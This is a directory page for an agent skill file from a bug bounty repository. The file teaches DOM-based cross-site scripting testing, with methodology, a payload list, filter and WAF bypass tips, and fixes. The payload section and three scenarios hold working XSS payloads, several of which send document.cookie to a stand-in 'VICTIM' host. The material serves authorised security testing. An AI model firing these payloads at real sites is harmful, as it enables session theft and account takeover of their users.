Dom xss
bb-huge 🤗 , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill dom-xssAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
DOM-based XSS occurs when JavaScript reads attacker-controlled sources (`location.hash`, `document.referrer`, `window.name`, `location.search`) and passes them to dangerous sinks (`document.write`, `innerHTML`, `eval`, `location.href`, `setTimeout`, `jQuery.html()`) without sanitization. Unlike reflected/stored XSS, payloads never reach the server. Detect by auditing JavaScript for tainted data flow from DOM sources to sinks. Tools: Burp Suite DOM Invader, Chrome DevTools, DOMPurify (fix).
The file declares its own license as MIT. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
7.6 KB, as published. Nobody here has run it
DOM-Based Cross-Site Scripting (XSS)
What Is Broken and Why
DOM XSS arises when client-side JavaScript takes data from a controllable source (URL fragment, query string, referrer, postMessage, cookie) and writes it to a dangerous sink that interprets HTML or executes code, all without the data ever being sent to or processed by the server. This means server-side output encoding does not prevent it, and proxy-based scanners may miss it entirely. The root cause is JavaScript treating user-controlled DOM properties as trusted content.
Key Signals
- JavaScript reading from:
location.hash,location.search,location.href,document.referrer,window.name,document.cookie,postMessageevent data - JavaScript writing to:
document.write(),innerHTML,outerHTML,insertAdjacentHTML,eval(),setTimeout(string),setInterval(string),location.href = ...,srcattribute assignment,jQuery.html(),jQuery.append() - Single-page applications (SPAs) with client-side routing
- JavaScript dynamically building page content from URL parameters
- Event handler attributes set from JavaScript using string-based eval-equivalent constructs
Methodology
- Crawl the application and collect all JavaScript files, inline scripts, and event handlers.
- Search for DOM source references:
location.hash,location.search,document.referrer,window.name. - Trace data flow from each source to identify all sinks it reaches.
- Identify the context in which the sink operates (HTML, JavaScript, URL, CSS).
- Craft a context-appropriate payload and deliver via the controllable source.
- Test in a real browser — automated tools miss browser-behavior-dependent execution.
- Pay attention to: script execution in event handlers, off-site CSS/script includes, SPA route handling.
Payloads & Tools
# Fragment-based DOM XSS (payload never sent to server)
TARGET/page#<script>alert(1)</script>
TARGET/page#<img src=x onerror=alert(document.cookie)>
# Hash-based with document.write sink
# Vulnerable code: document.write("Location: " + document.location.href)
TARGET/page#<script>alert(1)</script>
# innerHTML sink via URL parameter
# Vulnerable code: document.getElementById('x').innerHTML = location.hash.substring(1)
TARGET/page#<img src=x onerror=alert(1)>
# eval() sink
# Vulnerable code: eval('var x = "' + location.hash.substring(1) + '"')
TARGET/page#"; alert(1); var y="
# location.href sink (open redirect + XSS)
# Vulnerable code: window.location = decodeURIComponent(location.hash.substring(1))
TARGET/page#javascript:alert(document.cookie)
# jQuery .html() sink
TARGET/page?search=<img src=x onerror=alert(1)>
# document.write with script src
TARGET/page?lang=<script src=//VICTIM/xss.js>
# window.name trick (survives navigation)
# Attacker page sets: window.name = "<img src=x onerror=alert(1)>"
# Victim app reads: document.getElementById('x').innerHTML = window.name
# postMessage XSS
# Attacker sends: targetWindow.postMessage("<img src=x onerror=alert(1)>", "*")
# Victim app: window.addEventListener("message", (e) => { div.innerHTML = e.data; })
# Burp DOM Invader
# Enable in Burp's embedded browser -> Extensions -> DOM Invader
# Automatically injects canary into all sources and monitors sinks
# Manual Chrome DevTools approach
# Sources tab: search all JS for: innerHTML, document.write, eval, location
# Console: monitor with: Object.defineProperty(document, 'cookie', {get: () => {debugger; return ''}})
Bypass Techniques
- Fragment (
#) payloads are not sent to server, bypassing server-side WAFs and filters javascript:URI scheme in href/src sinks when<script>tags are filtered- Event handlers in injected HTML:
<img onerror=...>,<svg onload=...>,<body onpageshow=...> innerHTMLdoes not execute<script>tags directly — use event handler payloads instead- Encoding in fragment:
%3Cscript%3Emay be decoded bydecodeURIComponent()before reaching sink window.namepersists across cross-origin navigations — attacker page can set itpostMessagewith missing or weak origin validation (see web messaging skill)- Template literal injection in modern JS:
eval(\${userInput}`)`
Exploitation Scenarios
Scenario 1 — Fragment Injection via document.write
Setup: SPA reads location.hash to display a "you came from" breadcrumb using document.write().
Trigger: Victim clicks attacker link: TARGET/dashboard#<script>new Image().src='http://VICTIM/c?x='+document.cookie</script>
Impact: Session cookie exfiltrated to attacker; payload never touches server, bypasses WAF.
Scenario 2 — eval() Injection via Search Parameter
Setup: JavaScript parses location.search and uses eval() to set a variable from the theme parameter.
Trigger: TARGET/page?theme=dark";fetch('http://VICTIM/?c='+document.cookie);//
Impact: Arbitrary JavaScript executed; session stolen.
Scenario 3 — innerHTML Sink via jQuery
Setup: jQuery-based page loads product description from #description fragment into $('#content').html().
Trigger: TARGET/product#<img src=x onerror="document.location='http://VICTIM/steal?c='+document.cookie">
Impact: Cookie exfiltration; attacker can perform any action as the victim user.
False Positives
- Payload in fragment reflected in source but not reaching a dangerous sink (rendered as text only)
innerHTMLassigned a value that is HTML-encoded before assignment (escaping happening in JS)- DOMPurify or similar sanitizer stripping dangerous content before sink assignment
- CSP blocking inline script execution even when payload reaches sink
eval()present in code but receiving only developer-controlled or whitelisted input
Fix Patterns
- Use
textContentorinnerTextinstead ofinnerHTMLwhen inserting user-controlled data as plain text - When HTML insertion is required, sanitize with DOMPurify:
element.innerHTML = DOMPurify.sanitize(userInput) - Avoid
eval(),setTimeout(string),setInterval(string)with user-controlled data - Validate and sanitize
postMessageevent data; always checkevent.originbefore processing - For URL redirects: use an allowlist of permitted destinations; never pass
javascript:tolocation.href - Content Security Policy:
script-src 'self'prevents execution of injected scripts - Use frameworks with auto-escaping (React, Angular) which avoid direct DOM manipulation by default
Related Skills
DOM XSS is a distinct exploit path from [[xss-reflected]] and [[xss-stored]] because the payload never reaches the server — a purely client-side taint flow. [[cspt]] frequently lands in a DOM XSS sink: a path traversal that redirects a fetch() to an attacker-controlled URL can return a payload that gets written to innerHTML. A [[cors-misconfig]] that lets cross-origin reads succeed enables exfiltrating data from DOM XSS contexts by relaying the stolen content through the attacker's domain.